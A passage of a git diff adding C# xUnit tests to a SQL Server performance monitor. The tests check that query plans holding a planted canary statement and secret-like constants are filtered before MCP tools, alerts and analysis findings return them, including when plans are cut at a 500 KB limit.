+            "PG Blocking Detected",
+            DarlingWorker.BuildPgBlockingIncident(BlockingRow(StatementScrubCanary.CanaryStatement)),
+            null!);
+        failing.Context!.Details.Add(null!);
+
+        var filtered = AlertStatementFilter.Apply(failing);
+
+        Assert.Same(filtered, AlertStatementFilter.Apply(filtered)); // judged: a second Apply returns it unchanged
+        Assert.Contains(Marker, AlertContextBuilders.ContextToDetailText(filtered.Context)!, StringComparison.Ordinal);
+        Assert.Equal(2, filtered.Context!.Incidents!.Count);
+        Assert.Empty(filtered.Context.Incidents[0].InvolvedObjects);
+        Assert.Null(filtered.Context.Incidents[1]);
+    }
+
+    [Fact]
+    public async Task AFailureWhileJudging_ForAnAlertWithNoIncident_StillDeliversTheClearedAlert()
+    {
+        var (deliverer, history) = Build();
+        var context = new AlertContext();
+        context.Details.Add(null!);
+        var failing = new AlertOutcome(
+            "1", "srv", "Collection Failing", "3", "1", context,
+            DetailText: null, NumericCurrentValue: 3, NumericThresholdValue: 1, Muted: false, Severity: null);
+
+        await deliverer.DeliverAndReportAsync(failing, TestContext.Current.CancellationToken);
+
+        var row = Assert.Single(history.Records);
+        Assert.Contains(Marker, RowText(row), StringComparison.Ordinal);
+    }
+
+    private sealed class RecordingHistoryStore : IAlertHistoryStore
+    {
+        public List<AlertHistoryRecord> Records { get; } = new();
+
+        public Task RecordAlertAsync(AlertHistoryRecord record)
+        {
+            Records.Add(record);
+            return Task.CompletedTask;
+        }
+
+        public Task<DateTime?> GetLastEmailSentUtcAsync(string serverId, string metricName, string? dedupKey = null) =>
+            Task.FromResult<DateTime?>(null);
+
+        public Task<DateTime?> GetLastWebhookSentUtcAsync(string serverId, string metricName, string? dedupKey = null) =>
+            Task.FromResult<DateTime?>(null);
+
+        public Task<DateTime?> GetLastAlertTimeAsync(string serverId, string metricName, string? dedupKey = null) =>
+            Task.FromResult<DateTime?>(null);
+
+        public Task<DateTime?> GetLastDeliveredPageUtcAsync(string serverId, string metricName) =>
+            Task.FromResult<DateTime?>(null);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterDrillDownWarningsLiveTests.cs b/Darling/Darling.Tests/StatementFilterDrillDownWarningsLiveTests.cs
new file mode 100644
index 0000000000..512be66a2d
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterDrillDownWarningsLiveTests.cs
@@ -0,0 +1,109 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, L8: a drill-down plan warning quotes up to 200 characters of a predicate from the plan it analyzed, and the
+/// finding carrying it is persisted and read back by <c>analyze_server</c> and <c>get_analysis_findings</c>. The collector
+/// judges each stored plan before the analyzer sees it, so a predicate that belongs to a withheld statement is withheld
+/// with it, while the warning for a statement that is kept still quotes its predicate.
+///
+/// <para>#1776 own-store: mints its own scratch database (<see cref="ScratchPostgres"/>), never the shared
+/// <c>live-postgres</c> collection.</para>
+/// </summary>
+public sealed class StatementFilterDrillDownWarningsLiveTests
+{
+    private const int ServerId = -453_201;
+    private const string ServerName = "SsfDrillDownSrv";
+
+    private static string Statement(string text, string predicate, string constant) =>
+        "<StmtSimple StatementText=\"" + WebUtility.HtmlEncode(text) + "\" StatementId=\"1\" StatementCompId=\"1\" StatementType=\"SELECT\" "
+        + "StatementSubTreeCost=\"5\" StatementOptmLevel=\"FULL\"><QueryPlan CachedPlanSize=\"16\" CompileTime=\"1\" CompileCPU=\"1\" CompileMemory=\"104\">"
+        + "<RelOp NodeId=\"0\" PhysicalOp=\"Table Scan\" LogicalOp=\"Table Scan\" EstimateRows=\"100\" EstimateIO=\"1\" EstimateCPU=\"0.1\" AvgRowSize=\"9\" "
+        + "EstimatedTotalSubtreeCost=\"5\" TableCardinality=\"100\" Parallel=\"0\" EstimateRebinds=\"0\" EstimateRewinds=\"0\" EstimatedExecutionMode=\"Row\">"
+        + "<OutputList/><TableScan Ordered=\"0\" ForcedIndex=\"0\" ForceScan=\"0\" NoExpandHint=\"0\" Storage=\"RowStore\"><DefinedValues/>"
+        + "<Object Database=\"[db]\" Schema=\"[dbo]\" Table=\"[t]\" IndexKind=\"Heap\" Storage=\"RowStore\"/>"
+        + "<Predicate><ScalarOperator ScalarString=\"" + WebUtility.HtmlEncode(predicate) + "\"><Const ConstValue=\"" + constant + "\"/></ScalarOperator></Predicate>"
+        + "</TableScan></RelOp></QueryPlan></StmtSimple>";
+
+    private static string TwoStatementPlan() =>
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.564\" Build=\"16.0.4215.2\">"
+        + "<BatchSequence><Batch><Statements>"
+        + Statement(StatementScrubCanary.CanaryStatement, "upper([db].[dbo].[t].[c])=N'const-secret-ssf'", "N'const-secret-ssf'")
+        + Statement(StatementScrubCanary.PlainStatement, "upper([db].[dbo].[t].[c])=N'kept-predicate-ssf'", "N'kept-predicate-ssf'")
+        + "</Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    [Fact]
+    public async Task APredicateQuotedInAPlanWarning_IsWithheldWithItsStatement_AndKeptWithAKeptOne()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live drill-down warning filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await using var command = new NpgsqlCommand(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_xml, delta_worker_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+            command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+            command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+            command.Parameters.AddWithValue(ServerId);
+            command.Parameters.AddWithValue(ServerName);
+            command.Parameters.AddWithValue("SsfDb");
+            command.Parameters.AddWithValue("0xSSF0DRILL");
+            command.Parameters.AddWithValue(TwoStatementPlan());
+            command.Parameters.AddWithValue(500_000L);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var periodEnd = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var context = new AnalysisContext
+        {
+            ServerId = ServerId,
+            ServerName = ServerName,
+            TimeRangeStart = periodEnd.AddHours(-4),
+            TimeRangeEnd = periodEnd,
+            ServerUtcOffset = TimeSpan.Zero,
+        };
+        var finding = new AnalysisFinding
+        {
+            RootFactKey = "PLAN_WARNING",
+            StoryPath = "PLAN_WARNING",
+            PathKeys = ["PLAN_WARNING"],
+            Severity = 1.0,
+        };
+
+        await new PgDrillDownCollector(postgres).EnrichFindingsAsync([finding], context);
+
+        Assert.True(finding.DrillDown!.TryGetValue("plan_warnings", out var warnings), "plan_warnings was not collected");
+        var text = JsonSerializer.Serialize(warnings);
+        Assert.Contains("kept-predicate-ssf", text, StringComparison.Ordinal);
+        foreach (var needle in StatementScrubCanary.SecretNeedles)
+        {
+            Assert.DoesNotContain(needle, text, StringComparison.Ordinal);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StatementFilterPlanReaderSourceScanTests.cs b/Darling/Darling.Tests/StatementFilterPlanReaderSourceScanTests.cs
new file mode 100644
index 0000000000..f98697d019
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterPlanReaderSourceScanTests.cs
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, Layer 1: the stored-plan reads are filtered at ONE seam, <c>DarlingStoredPlanReader</c>. Three pins keep it that way.
+/// (1) Every public method of the reader is listed here, takes the optional <c>maxOutputChars</c> and answers through
+/// <c>SensitiveStatements.Xml</c> (or through another listed method that does); a new public read fails until it is listed,
+/// wrapped and planted in <c>StatementFilterPlanReadsLiveTests</c>. (2) No other file under <c>Mcp</c> names a plan column in
+/// SQL it runs, so a tool cannot read a plan around the seam. (3) The scan itself is proven against planted sources.
+/// </summary>
+public sealed class StatementFilterPlanReaderSourceScanTests
+{
+    /// <summary>Each public read, and how many times its own body calls <c>SensitiveStatements.Xml</c> (a method that only
+    /// delegates to another listed read has none).</summary>
+    private static readonly Dictionary<string, int> PublicReads = new(StringComparer.Ordinal)
+    {
+        ["GetQueryStatsPlanXmlByHashAsync"] = 1,
+        ["GetProcedurePlanXmlBySqlHandleAsync"] = 1,
+        ["GetQueryStorePlanTextAsync"] = 0,
+        ["ResolveQueryStorePlanAsync"] = 1,
+        ["ReadQueryStorePlanByIdAsync"] = 1,
+        ["GetQuerySnapshotPlanXmlAsync"] = 1,
+        ["GetBlockingPlanXmlAsync"] = 1,
+        ["GetDeadlockVictimPlanXmlAsync"] = 1,
+    };
+
+    [Fact]
+    public void EveryPublicPlanRead_IsListed_TakesMaxOutputChars_AndIsPlantedInTheLiveTests()
+    {
+        string[] actual = typeof(DarlingStoredPlanReader)
+            .GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly)
+            .Select(m => m.Name)
+            .OrderBy(n => n, StringComparer.Ordinal)
+            .ToArray();
+        Assert.Equal(PublicReads.Keys.OrderBy(n => n, StringComparer.Ordinal).ToArray(), actual);
+
+        string live = File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "Darling.Tests", "StatementFilterPlanReadsLiveTests.cs"));
+        foreach (MethodInfo method in typeof(DarlingStoredPlanReader).GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly))
+        {
+            ParameterInfo? cut = method.GetParameters().SingleOrDefault(p => p.Name == "maxOutputChars");
+            Assert.True(cut is not null && cut.HasDefaultValue && Equals(cut.DefaultValue, int.MaxValue),
+                method.Name + " must take an optional maxOutputChars that defaults to int.MaxValue");
+            ParameterInfo[] parameters = method.GetParameters();
+            Assert.True(parameters[^1].ParameterType == typeof(System.Threading.CancellationToken) && parameters[^2] == cut,
+                method.Name + ": maxOutputChars sits just before the CancellationToken (CA1068)");
+            Assert.Contains("DarlingStoredPlanReader." + method.Name + "(", live, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void EveryPublicPlanRead_AnswersThroughTheStatementFilter_AndNoRawTwinIsPublic()
+    {
+        string source = ReaderCode();
+        foreach ((string name, int expected) in PublicReads)
+        {
+            string body = MemberSource(source, name);
+            Assert.Equal(expected, Regex.Matches(body, @"\bSensitiveStatements\s*\.\s*Xml\s*\(").Count);
+            if (expected == 0)
+                Assert.Matches(@"\bResolveQueryStorePlanAsync\s*\(", body);
+            else
+                Assert.Contains("maxOutputChars", body, StringComparison.Ordinal);
+        }
+
+        // The unfiltered twins are private, so nothing outside the file can reach a raw plan.
+        MatchCollection twins = Regex.Matches(source, @"^    (?<access>\w+) static [^\n]*?\b\w+RawAsync\(", RegexOptions.Multiline);
+        Assert.Equal(PublicReads.Count - 1, twins.Count);
+        foreach (Match twin in twins)
+            Assert.Equal("private", twin.Groups["access"].Value);
+    }
+
+    /// <summary>The columns that hold a plan: the stored XML, its gzip form, Query Store's text, the snapshot columns, and every
+    /// <c>*_plan_xml</c> (the blocked, blocking and victim plans). <c>query_plan_hash</c> is a hash, not a plan.</summary>
+    private static readonly Regex PlanColumn = new(
+        @"(?<![\w])(?:live_query_plan|query_plan_text|query_plan_gz|query_plan_xml|query_plan|\w*plan_xml)(?![\w])", RegexOptions.Compiled);
+
+    /// <summary>The reads of a plan column that are not plan reads: <c>col IS [NOT] NULL</c> and <c>col &lt;&gt; ''</c>, and the
+    /// <c>has_*</c> aliases they are printed under: the has-a-plan flags the lists print.</summary>
+    private static readonly Regex PresenceOnly = new(
+        @"(?<![\w])[\w.]*plan(?:_xml)?\s*(?:IS\s+(?:NOT\s+)?NULL|<>\s*'')|(?<![\w])AS\s+has_\w+", RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+    private static readonly Regex LooksLikeSql = new(@"\bSELECT\b[\s\S]*\bFROM\b", RegexOptions.Compiled);
+
+    /// <summary>The names of the plan columns that SQL string literals in <paramref name="source"/> read, with the presence-only
+    /// idiom taken out first. Comments are not code, and a string that is not SQL (a tool description) is not a read.</summary>
+    internal static List<string> PlanColumnReads(string source)
+    {
+        var found = new List<string>();
+        foreach ((int _, string text) in CSharpSourceWalker.StringLiteralBodies(source))
+        {
+            if (!LooksLikeSql.IsMatch(text)) continue;
+            foreach (Match m in PlanColumn.Matches(PresenceOnly.Replace(text, " ")))
+                found.Add(m.Value);
+        }
+
+        return found;
+    }
+
+    [Fact]
+    public void NoFileUnderMcp_ReadsAPlanColumn_ExceptTheStoredPlanReader()
+    {
+        string mcp = Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp");
+        var offenders = new List<string>();
+        foreach (string file in Directory.EnumerateFiles(mcp, "*.cs", SearchOption.AllDirectories))
+        {
+            if (string.Equals(Path.GetFileName(file), "DarlingStoredPlanReader.cs", StringComparison.Ordinal)) continue;
+            foreach (string column in PlanColumnReads(File.ReadAllText(file)).Distinct())
+                offenders.Add(Path.GetFileName(file) + ": " + column);
+        }
+
+        Assert.Empty(offenders);
+        // The reader itself is the one place the scan must find them: a scan that finds none there reads nothing.
+        Assert.NotEmpty(PlanColumnReads(File.ReadAllText(Path.Combine(mcp, "DarlingStoredPlanReader.cs"))));
+    }
+
+    [Fact]
+    public void ThePlanColumnScan_FlagsEachPlanColumn_AndIgnoresHashesFlagsCommentsAndDescriptions()
+    {
+        foreach (string column in new[] { "query_plan_xml", "query_plan_text", "query_plan_gz", "query_plan", "live_query_plan", "victim_query_plan_xml", "blocked_query_plan_xml", "plan_xml" })
+        {
+            Assert.Equal(new[] { column }, PlanColumnReads("const string S = \"SELECT " + column + " FROM t\";"));
+            Assert.Equal(new[] { column }, PlanColumnReads("const string S = \"\"\"\n    SELECT 1\n    FROM t WHERE x = (SELECT " + column + " FROM u)\n    \"\"\";"));
+        }
+
+        // Not reads of a plan: a plan HASH, a presence flag, a comment, and a tool description that is not SQL.
+        Assert.Empty(PlanColumnReads("const string S = \"SELECT query_plan_hash FROM t\";"));
+        Assert.Empty(PlanColumnReads("const string S = \"SELECT (blocked_query_plan_xml IS NOT NULL AND blocked_query_plan_xml <> '') AS f FROM t\";"));
+        Assert.Empty(PlanColumnReads("// SELECT query_plan_xml FROM t\nconst string S = \"SELECT 1 FROM t\";"));
+        Assert.Empty(PlanColumnReads("[Description(\"Returns the raw stored query_plan_xml, see get_plan_xml\")] void M() { }"));
+        Assert.Empty(PlanColumnReads("const string S = \"SELECT (query_plan IS NOT NULL) AS has_query_plan, (b.plan_xml IS NOT NULL) AS has_plan_xml FROM t\";"));
+        // A flag does not excuse a read beside it.
+        Assert.Equal(new[] { "blocked_query_plan_xml" },
+            PlanColumnReads("const string S = \"SELECT blocked_query_plan_xml, (blocking_query_plan_xml IS NOT NULL) AS f FROM t\";"));
+    }
+
+    // ── helpers ──
+
+    private static string ReaderCode() => CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(
+        Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingStoredPlanReader.cs")));
+
+    /// <summary>The text of the member that declares <paramref name="name"/> as a method, from its declaration line to the next
+    /// member at class level (four spaces of indent).</summary>
+    private static string MemberSource(string code, string name)
+    {
+        Match start = Regex.Match(code, @"^    public static [^\n]*?\b" + Regex.Escape(name) + @"\(", RegexOptions.Multiline);
+        Assert.True(start.Success, name + " has no public declaration");
+        Match next = Regex.Match(code.Substring(start.Index + start.Length), @"^    (?:public|private|internal)\b", RegexOptions.Multiline);
+        return next.Success ? code.Substring(start.Index, start.Length + next.Index) : code.Substring(start.Index);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+}
diff --git a/Darling/Darling.Tests/StatementFilterPlanReadsLiveTests.cs b/Darling/Darling.Tests/StatementFilterPlanReadsLiveTests.cs
new file mode 100644
index 0000000000..99690ba30c
--- /dev/null
+++ b/Darling/Darling.Tests/StatementFilterPlanReadsLiveTests.cs
@@ -0,0 +1,608 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Globalization;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348, Layer 1: every stored-plan read in <c>DarlingStoredPlanReader</c> answers with the plan the statement filter judged, so
+/// a tool that reads a stored plan cannot hand the canary statement, or the values its plan carries, to a caller. Each case is
+/// planted with <see cref="StatementScrubCanary.CanaryPlan"/> in the form the store keeps it, then read through the public
+/// method: the stored query_stats and procedure_stats plan inline and in the gzip <c>query_plan_dim</c> row, a Query Store plan
+/// through <c>query_store_plan_map</c> (text and gzip) and through the inline fallback, the snapshot's <c>query_plan</c> and
+/// <c>live_query_plan</c>, and the blocked, blocking and deadlock-victim plans. The cut cases read a plan larger than the
+/// tools' 500 KB transport limit and check the cut is made on the filtered plan.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementFilterPlanReadsLiveTests
+{
+    private const string ServerName = "darling-ssf-plan-reads";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const string Db = "SsfPlanDb";
+    private static readonly DateTime Anchor = new DateTime(2026, 3, 4, 5, 6, 7, DateTimeKind.Unspecified).AddTicks(1_234_560);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>The canary plan, made distinct per case (two cases that stored the same plan would share one dimension row,
+    /// and a text row and a gzip row cannot both be the one row).</summary>
+    private static string Variant(int n) => StatementScrubCanary.CanaryPlan().Replace("16.0.4000.1\"", "16.0.4000." + n + "\"", StringComparison.Ordinal);
+
+    private static void AssertFiltered(string label, string raw, string? filtered)
+    {
+        Assert.True(filtered is not null, label + ": the read found no plan (seeding or key is wrong)");
+        StatementFilterCensus.AssertRawHoldsTheCanary(raw);
+        try
+        {
+            StatementFilterCensus.AssertPlanFilteredKeepsTheRest(raw, filtered!);
+        }
+        catch (Exception ex)
+        {
+            throw new Xunit.Sdk.XunitException(label + ": " + ex.Message);
+        }
+    }
+
+    [Fact]
+    public async Task EveryStoredPlanRead_ReturnsThePlanWithTheCanaryStatementWithheld()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live plan-read filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            string statsInline = Variant(1), statsGz = Variant(2), procInline = Variant(3), procGz = Variant(4);
+            string qsMapText = Variant(5), qsMapGz = Variant(6), qsInline = Variant(7);
+            string snapshot = Variant(8), snapshotLive = Variant(9);
+            string blocked = Variant(10), blocking = Variant(11), victim = Variant(12);
+
+            /* query_stats and procedure_stats: the plan inline on the row, and in the gzip query_plan_dim row the row's digest names. */
+            await InsertStatsAsync(connection, "query_stats", Anchor, "0xQSINLINE", null, statsInline, null, ct);
+            await InsertDimAsync(connection, statsGz, gz: true, ct);
+            await InsertStatsAsync(connection, "query_stats", Anchor, "0xQSGZ", null, null, statsGz, ct);
+            await InsertStatsAsync(connection, "procedure_stats", Anchor, null, "0xA0A0A001", procInline, null, ct);
+            await InsertDimAsync(connection, procGz, gz: true, ct);
+            await InsertStatsAsync(connection, "procedure_stats", Anchor, null, "0xA0A0A002", null, procGz, ct);
+
+            /* Query Store: through the map to a text and a gzip dimension row, and the inline column with no map row. */
+            await InsertQueryStoreAsync(connection, Anchor, queryId: 1, planId: 11, inline: null, ct);
+            await InsertDimAsync(connection, qsMapText, gz: false, ct);
+            await InsertMapAsync(connection, 11, qsMapText, ct);
+            await InsertQueryStoreAsync(connection, Anchor, queryId: 2, planId: 21, inline: null, ct);
+            await InsertDimAsync(connection, qsMapGz, gz: true, ct);
+            await InsertMapAsync(connection, 21, qsMapGz, ct);
+            await InsertQueryStoreAsync(connection, Anchor, queryId: 3, planId: 31, inline: qsInline, ct);
+
+            await InsertSnapshotAsync(connection, Anchor, 51, 3, snapshot, snapshotLive, ct);
+            await InsertReportAsync(connection, Anchor, 61, 62, blocked, blocking, ct);
+            var deadlockCollected = Anchor.AddMinutes(10);
+            var deadlockStamp = deadlockCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, deadlockCollected, deadlockStamp, "process1a2b", victim, ct);
+
+            AssertFiltered("query_stats inline", statsInline,
+                await DarlingStoredPlanReader.GetQueryStatsPlanXmlByHashAsync(postgres, ServerId, "0xQSINLINE", Db, cancellationToken: ct));
+            AssertFiltered("query_stats gz dim", statsGz,
+                await DarlingStoredPlanReader.GetQueryStatsPlanXmlByHashAsync(postgres, ServerId, "0xQSGZ", null, cancellationToken: ct));
+            AssertFiltered("procedure inline", procInline,
+                await DarlingStoredPlanReader.GetProcedurePlanXmlBySqlHandleAsync(postgres, ServerId, "0xA0A0A001", cancellationToken: ct));
+            AssertFiltered("procedure gz dim", procGz,
+                await DarlingStoredPlanReader.GetProcedurePlanXmlBySqlHandleAsync(postgres, ServerId, "0xA0A0A002", cancellationToken: ct));
+
+            AssertFiltered("query store map text (text read)", qsMapText,
+                await DarlingStoredPlanReader.GetQueryStorePlanTextAsync(postgres, ServerId, Db, 1, null, cancellationToken: ct));
+            AssertFiltered("query store map gz (text read, pinned)", qsMapGz,
+                await DarlingStoredPlanReader.GetQueryStorePlanTextAsync(postgres, ServerId, Db, 2, 21, cancellationToken: ct));
+            AssertFiltered("query store inline fallback (text read)", qsInline,
+                await DarlingStoredPlanReader.GetQueryStorePlanTextAsync(postgres, ServerId, Db, 3, null, cancellationToken: ct));
+            var resolved = await DarlingStoredPlanReader.ResolveQueryStorePlanAsync(postgres, ServerId, Db, 1, null, cancellationToken: ct);
+            AssertFiltered("query store map text (resolve)", qsMapText, resolved?.PlanXml);
+            Assert.Equal(11, resolved!.PlanId);
+            AssertFiltered("query store inline fallback (resolve)", qsInline,
+                (await DarlingStoredPlanReader.ResolveQueryStorePlanAsync(postgres, ServerId, Db, 3, 31, cancellationToken: ct))?.PlanXml);
+            AssertFiltered("query store map gz (by id)", qsMapGz,
+                await DarlingStoredPlanReader.ReadQueryStorePlanByIdAsync(postgres, ServerId, Db, 2, 21, cancellationToken: ct));
+            AssertFiltered("query store inline fallback (by id)", qsInline,
+                await DarlingStoredPlanReader.ReadQueryStorePlanByIdAsync(postgres, ServerId, Db, 3, 31, cancellationToken: ct));
+
+            AssertFiltered("snapshot query_plan", snapshot,
+                await DarlingStoredPlanReader.GetQuerySnapshotPlanXmlAsync(postgres, ServerId, Anchor, 51, 3, live: false, cancellationToken: ct));
+            AssertFiltered("snapshot live_query_plan", snapshotLive,
+                await DarlingStoredPlanReader.GetQuerySnapshotPlanXmlAsync(postgres, ServerId, Anchor, 51, 3, live: true, cancellationToken: ct));
+
+            AssertFiltered("blocked plan", blocked,
+                await DarlingStoredPlanReader.GetBlockingPlanXmlAsync(postgres, ServerId, Anchor, 61, 0, 62, 0, blockingSide: false, cancellationToken: ct));
+            AssertFiltered("blocking plan", blocking,
+                await DarlingStoredPlanReader.GetBlockingPlanXmlAsync(postgres, ServerId, Anchor, 61, 0, 62, 0, blockingSide: true, cancellationToken: ct));
+            var deadlock = await DarlingStoredPlanReader.GetDeadlockVictimPlanXmlAsync(postgres, ServerId, deadlockCollected, deadlockStamp, "process1a2b", cancellationToken: ct);
+            Assert.False(deadlock.Ambiguous);
+            AssertFiltered("deadlock victim plan", victim, deadlock.PlanXml);
+
+            /* The tools that read through the seam: the same plan, filtered, and the analysis of it holds no secret. */
+            AssertFiltered("get_plan_xml", statsInline, await DarlingMcpPlanTools.GetPlanXml(postgres, "0xQSINLINE", ServerName, cancellationToken: ct));
+            string analysis = await DarlingMcpPlanTools.AnalyzeQueryPlan(postgres, "0xQSINLINE", ServerName, cancellationToken: ct);
+            foreach (string needle in StatementScrubCanary.SecretNeedles)
+                Assert.DoesNotContain(needle, analysis, StringComparison.Ordinal);
+            using (var doc = JsonDocument.Parse(analysis))
+                Assert.Contains(StatementFilterCensus.Marker, doc.RootElement.ToString(), StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// A plan over the tools' 500 KB limit whose FIRST statement is the canary. The filter runs on the plan and the cut is made on
+    /// what it returns, so the answer is a recognizable cut plan, ending in the truncation marker, with that statement withheld
+    /// by its own placeholder. It is not the whole-output placeholder a sweep of the cut text would have to fall back to. The
+    /// same plan read with the reader's default (no cut) comes back whole, with the same statement withheld.
+    /// </summary>
+    [Fact]
+    public async Task APlanOverTheTransportLimit_WithTheCanaryFirst_IsCutOnTheFilteredPlan_NotWithheldWhole()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live plan-read filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            string big = BigPlan(600_000, canaryFirst: true);
+            Assert.True(big.Length > 600_000);
+            await InsertStatsAsync(connection, "query_stats", Anchor, "0xBIGHIT", null, big, null, ct);
+
+            string cut = await UntilNotStarvedAsync("cut read",
+                () => DarlingMcpPlanTools.GetPlanXml(postgres, "0xBIGHIT", ServerName, cancellationToken: ct), SensitiveStatements.IsWithheldPlan);
+            Assert.NotEqual(SensitiveStatements.PlaceholderText, cut);
+            Assert.StartsWith("<ShowPlanXML", cut, StringComparison.Ordinal);
+            Assert.EndsWith("... (truncated)", cut, StringComparison.Ordinal);
+            Assert.True(cut.Length <= 512_000 + "... (truncated)".Length + 8, "the cut plan is " + cut.Length + " characters");
+            foreach (string needle in StatementScrubCanary.SecretNeedles)
+                Assert.DoesNotContain(needle, cut, StringComparison.Ordinal);
+            Assert.Contains(StatementFilterCensus.Marker, cut, StringComparison.Ordinal);
+            Assert.Contains("canary_plain_ssf", cut, StringComparison.Ordinal);
+
+            string whole = await UntilNotStarvedAsync("whole read",
+                async () => (await DarlingStoredPlanReader.GetQueryStatsPlanXmlByHashAsync(postgres, ServerId, "0xBIGHIT", null, cancellationToken: ct))!, SensitiveStatements.IsWithheldPlan);
+            Assert.True(whole.Length > 512_000);
+            foreach (string needle in StatementScrubCanary.SecretNeedles)
+                Assert.DoesNotContain(needle, whole, StringComparison.Ordinal);
+            Assert.Contains(StatementFilterCensus.Marker, whole, StringComparison.Ordinal);
+            Assert.EndsWith("</ShowPlanXML>", whole, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// The answer a client receives for a stored plan over the tools' 500 KB limit, at the two wire seams: the host's registered
+    /// filters (MCP) and the web read's <c>ToHttpResult</c>. A plan with no auto-parameter token comes back as a cut, filtered plan
+    /// ending in the truncation marker, with the named statement's placeholder inside. The same plan padded with auto-parameter
+    /// tokens (<c>@1</c>) comes back as the whole-output placeholder: the cut plan does not parse, so the second check cannot
+    /// probe it and withholds it whole (fails closed, accepted behaviour).
+    /// </summary>
+    [Fact]
+    public async Task APlanOverTheTransportLimit_OnTheWire_IsACutFilteredPlanWithoutAutoParameterTokens_AndThePlaceholderWithThem()
+    {
+        var cs = ConnectionString;
